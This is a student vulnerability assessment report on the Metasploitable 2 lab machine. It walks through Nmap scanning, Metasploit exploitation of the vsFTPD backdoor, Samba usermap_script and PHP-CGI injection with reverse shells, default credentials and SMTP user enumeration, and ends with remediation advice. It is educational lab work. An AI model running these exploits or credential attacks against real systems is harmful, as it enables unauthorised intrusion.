



VULNERABILITY ASSESSMENT REPORT

Target: Metasploitable 2 Linux

Course: IKB21403 - Vulnerability Analysis

Lecturer: Miss Nor Adani Kamal

Prepared By: Adam Izzuddin Bin Rashidi
(52215125114)

Date: June 2026

TABLE OF CONTENTS

1. EXECUTIVE SUMMARY3

- 1.1 Objective & Scope 3
- 1.2 Overall Security Posture 3

2. VULNERABILITY FINDINGS MATRIX 3

- 2.1 Risk Level Breakdown 3
- 2.2 Core Findings Summary Table 3-4

3. TECHNICAL EXPLOITATION 4

- 3.1 Network Reconnaissance & Port Scanning 4
- 3.2 Critical Exploits & Attack Vectors Validation 5-8

4. REMEDIATION ROADMAP 8

- 4.1 Short-Term Mitigations 8
- 4.2 Long-Term Strategic Hardening 9

5. CONCLUSION & APPENDICES 9

6. REFERENCES 10

1. EXECUTIVE SUMMARY

1.1 Objective & Scope

The objective of this assessment was to perform a comprehensive vulnerability analysis and controlled exploitation on the Metasploitable 2 Linux target machine. The evaluation was conducted within a isolated local laboratory environment to identify security flaws, evaluate technical impact, and establish definitive remediation steps.

1.2 Overall Security Posture

The target system presents a CRITICAL risk profile. Multiple independent, high-severity flaws exist across network daemons, databases, and web applications. Controlled validation confirmed that unauthenticated remote attackers can easily achieve complete root-level control, remote code execution (RCE), and full data compromise. Immediate remediation is mandatory to secure the host.

2. VULNERABILITY FINDINGS MATRIX

2.1 Risk Level Breakdown

A total of 8 core security findings were identified during the assessment. The chart below breaks down these vulnerabilities by their severity ranking based on the Common Vulnerability Scoring System (CVSS v3):

- **Critical (CVSS 9.0 - 10.0):** 4 Findings — Requires immediate hotpatching or service termination.
- **High (CVSS 7.0 - 8.9):** 3 Findings — High probability of exploitation; requires short-term remediation.
- **Medium (CVSS 4.0 - 6.9):** 1 Finding — Information disclosure risk; should be remediated in regular cycles.
- **Low / Informational:** 0 Findings.

2.2 Core Findings Summary Table

ID	Vulnerability / Finding	Severity	Port	Impact	Remediation Strategy
F-01	vsFTPD 2.3.4 Backdoor RCE	Critical (9.8)	21	Full system compromise	Upgrade daemon or switch to SFTP

F-02	Weak SSH Credentials	High (8.1)	22	Brute-force entry	Enforce strong passwords/keys
F-03	Telnet Cleartext Passwords	High (8.1)	23	Credential sniffing	Disable service; use SSH instead
F-04	Apache PHP-CGI Injection	Critical (9.8)	80	Web server code execution	Patch PHP/Apache configuration
F-05	SMTP User Enumeration	Medium (5.3)	25	Information leakage	Restrict access; mask banners
F-06	MySQL Empty Root Password	Critical (9.1)	3306	Full database takeover	Assign a complex root password
F-07	Weak VNC Password	High (8.8)	5900	Remote GUI desktop access	Change password; isolate port
F-08	Samba username map RCE	Critical (9.8)	139/445	Instant root privileges	Upgrade Samba server version

3. TECHNICAL EXPLOITATION

3.1 Network Reconnaissance & Port Scanning

```
(root@kali)-[/home/kali]
# nmap -sV -O -T4 -SS 192.168.228.130 192.168.228.254
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 13:13 EDT
Nmap scan report for 192.168.228.130
Host is up (0.00087s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:4E:41:49 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
```

Figure 1: Nmap Comprehensive Port and Service Version Scan Output

The assessment began with an active network reconnaissance phase to map out open entry points. An initial sweep using netdiscover located the target IP address on the local subnet. This was followed by an aggressive, comprehensive service verification scan using **Nmap**.

The scan revealed a highly vulnerable attack surface with numerous legacy services running default configurations and unpatched, backward-compatible software daemons exposed to the network.

3.2 Critical Exploits & Attack Vectors Validation

A. vsFTPD 2.3.4 Backdoor Remote Code Execution (Port 21)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.228.130:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.228.130:21 - USER: 331 Please specify the password.
[*] 192.168.228.130:21 - Backdoor service has been spawned, handling ...
[*] 192.168.228.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.228.128:34901 → 192.168.228.130:6200) at 2025-10-24 10:38:16 -0400
```

Figure 2: Successful Metasploit Exploitation and Root Shell via vsFTPD Backdoor

- **Analysis:** The target runs an outdated FTP service containing a notorious backdoor. Sending a username ending with a smiley face (:)) triggers the daemon to open a listening shell on network port 6200.
- **Exploitation:** Executed via the Metasploit module `exploit/unix/ftp/vsftpd_234_backdoor`.
- **Result:** Successful. Established an unauthenticated, interactive command shell providing absolute root-level execution privileges.

B. Samba username map script Remote Code Execution (Ports 139 / 445)

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.228.128:4444
[*] Command shell session 1 opened (192.168.228.128:4444 → 192.168.228.130:44959) at 2025-10-29 14:24:12 -0400
```

Figure 3: Successful Exploitation and Command Shell Access via Samba Usermap Script

- **Analysis:** The legacy Samba 3.0.20 configuration improperly handles input validation within MS-RPC request parameters. Attackers can pass arbitrary shell commands directly inside the username field.
- **Exploitation:** Executed via the Metasploit module `exploit/multi/samba/usermap_script`.
- **Result:** Successful. Instantly dropped into a high-privilege root system shell without requiring any valid credentials.

C. Apache PHP-CGI Argument Injection (Port 80)

```
msf6 auxiliary(scanner/http/http_version) > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):



| Name        | Current Setting | Required | Description                                                                                                           |
|-------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------|
| PLESK       | false           | yes      | Exploit Plesk                                                                                                         |
| Proxies     |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http |
| RHOSTS      |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                |
| RPORT       | 80              | yes      | The target port (TCP)                                                                                                 |
| SSL         | false           | no       | Negotiate SSL/TLS for outgoing connections                                                                            |
| TARGETURI   |                 | no       | The URI to request (must be a CGI-handled PHP script)                                                                 |
| URIENCODING | 0               | yes      | Level of URI URIENCODING and padding (0 for minimum)                                                                  |
| VHOST       |                 | no       | HTTP server virtual host                                                                                              |



Payload options (php/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.64.128  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Figure 4: Configuring Module and Payload Options for the PHP-CGI Argument Injection Exploit

```
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@metasploitable:/var/www$ ls
ls
dav  index.php  phpMyAdmin  test  tikiwiki-old
dvwa mutillidae phpinfo.php tikiwiki twiki
www-data@metasploitable:/var/www$
```

Figure 5: Upgraded Interactive Terminal Session operating under www-data Privileges

- **Analysis:** The web server runs an outdated PHP-CGI configuration vulnerable to CVE-2012-1823. Query string parameters passed in the HTTP request URL are parsed directly as command-line arguments by the PHP interpreter.
- **Exploitation:** Executed via the Metasploit module exploit/multi/http/php_cgi_arg_injection.
- **Result:** Successful. Acquired an unauthenticated interactive shell operating under the www-data service account privilege level.

D. Weak & Default Management Credentials (Ports 22, 23, 3306, 5900)

```
MySQL [mysql]> show tables;
+-----+
| Tables_in_mysql |
+-----+
| columns_priv     |
| db               |
| func             |
| help_category    |
| help_keyword     |
| help_relation    |
| help_topic       |
| host             |
| proc             |
| procs_priv       |
| tables_priv      |
| time_zone        |
| time_zone_leap_second |
| time_zone_name   |
| time_zone_transition |
| time_zone_transition_type |
| user             |
+-----+
17 rows in set (0.002 sec)
```

Figure 6: Unauthenticated Database Inspection via Empty MySQL Root Password

- **Analysis:** The system features critically insecure access controls across core administrative services. SSH (Port 22) and Telnet (Port 23) accept weak, easily guessable system accounts (e.g., msfadmin:msfadmin). MySQL (Port 3306) exposes a root administrative database user with a completely empty password. VNC (Port 5900) relies on a weak global access password ('password').
- **Exploitation:** Validated using manual brute-force authentication and interactive connections.
- **Result:** Successful. Gained multiple redundant paths for remote shell terminal connections, full unauthenticated database manipulation, and live graphical desktop control.

E. SMTP User Enumeration (Port 25)

```
msf6 auxiliary(scanner/smtp/smtp_enum) > show options
Module options (auxiliary/scanner/smtp/smtp_enum):


| Name      | Current Setting                                                   | Required | Description                                                   |
|-----------|-------------------------------------------------------------------|----------|---------------------------------------------------------------|
| RHOSTS    |                                                                   | yes      | The target host(s), see https://docs.m...sing-metasploit.html |
| RPORT     | 25                                                                | yes      | The target port (TCP)                                         |
| THREADS   | 1                                                                 | yes      | The number of concurrent threads (max o                       |
| UNIXONLY  | true                                                              | yes      | Skip Microsoft bannered servers when t                        |
| USER_FILE | /usr/share/metasploit-framework/data/wordlist<br>s/unix_users.txt | yes      | The file that contains a list of probab                       |


View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smtp/smtp_enum) > █
```

Figure 7: Configuring Target Options for the SMTP User Enumeration Auxiliary Scanner

```
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 192.168.228.130:25 - 192.168.228.130:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[+] 192.168.228.130:25 - 192.168.228.130:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc, libuui...
ws, nobody, postfix, postgres, postmaster, proxy, service, sshd, sync, sys, syslog, user, uucp, www-data
[*] 192.168.228.130:25 - Scanned 1 of 1 hosts (100% complete)
```

Figure 8: Discovered Target System Usernames Harvested via SMTP Enumeration

- **Analysis:** The Mail Transport Agent responds to unauthenticated EXPN and VRFY inquiries, allowing remote users to systematically probe for active system accounts.
- **Exploitation:** Validated via automated banner interaction scripts.
- **Result:** Successful. Harvested a list of active local system usernames, mapping out viable targets for follow-up brute-force operations.

4. REMEDIATION ROADMAP

4.1 Short-Term Mitigations

- **Software Upgrades:** Immediately upgrade legacy service daemons. Replace vsFTPD 2.3.4 and Samba 3.0.20 with their latest secure stable versions to eliminate backdoor vulnerabilities.
- **Credential Hardening:** Change all default and blank administrative passwords. Enforce a strong password policy for the SSH service and assign a complex password to the MySQL root user account.
- **Service Termination:** Disable legacy and unencrypted communication lines completely. Turn off the Telnet service and remove unauthenticated VNC remote desktop access lines.

4.2 Long-Term Strategic Hardening

- **Perimeter Access Controls:** Implement strict network firewall rules. Restrict access to critical management endpoints like SSH and MySQL behind an explicit IP address whitelist or a secure host VPN.
- **System Security Baselines:** Apply hardened operating system configurations. Establish unified configuration guidelines like the CIS Benchmarks for Linux to eliminate default software vulnerabilities.
- **Vulnerability Scanning Cycles:** Deploy regular automated internal security scanning tools. Establish cyclical discovery sweeps paired with formal change control procedures to catch new exposure risks early.

5. CONCLUSION & APPENDICES

The security assessment of the Metasploitable 2 Linux target machine successfully highlighted the extreme risks associated with running unpatched legacy services and default access credentials. By walking through real-world attack vectors during the controlled exploitation phase, the definitive need for baseline hardening was clearly verified. Implementing the immediate short-term software patches and long-term network segmentation steps outlined in this report will drastically reduce the target environment's attack surface and establish a highly resilient security posture.

Appendix A: Tools Utilized During Assessment

- **Netdiscover:** Passive and active network address resolution tool used to locate the target system within the local subnet area.
- **Nmap:** Advanced network port scanner used for comprehensive active service enumeration and version verification checks.
- **Metasploit Framework:** Centralized exploitation toolkit used to deploy modular payloads and validate remote execution vulnerabilities.

6. REFERENCES

- [1] Rapid7, "Metasploitable 2 Exploitability Guide," Rapid7 Open Source Documentation. [Online]. Available: <https://www.rapid7.com>.
- [2] National Institute of Standards and Technology (NIST), "CVE-2011-2523 Detail: vsFTPD 2.3.4 Backdoor Vulnerability," National Vulnerability Database (NVD). [Online]. Available: <https://nvd.nist.gov>.
- [3] Offensive Security (OffSec), "Metasploit Framework Unleashed: Auxiliary and Exploit Modules Reference Guide," Offensive Security Knowledge Base. [Online]. Available: <https://www.offsec.com>.
- [4] Samba Team, "Samba 3.0.20 < 3.0.25rc3 – 'Username' Remote Code Execution," Exploit Database, Exploit ID: 16320. [Online]. Available: <https://www.exploit-db.com>.
- [5] Nmap Project, "Nmap Network Scanning Reference Guide: Service and Version Detection," Nmap Documentation. [Online]. Available: <https://nmap.org>.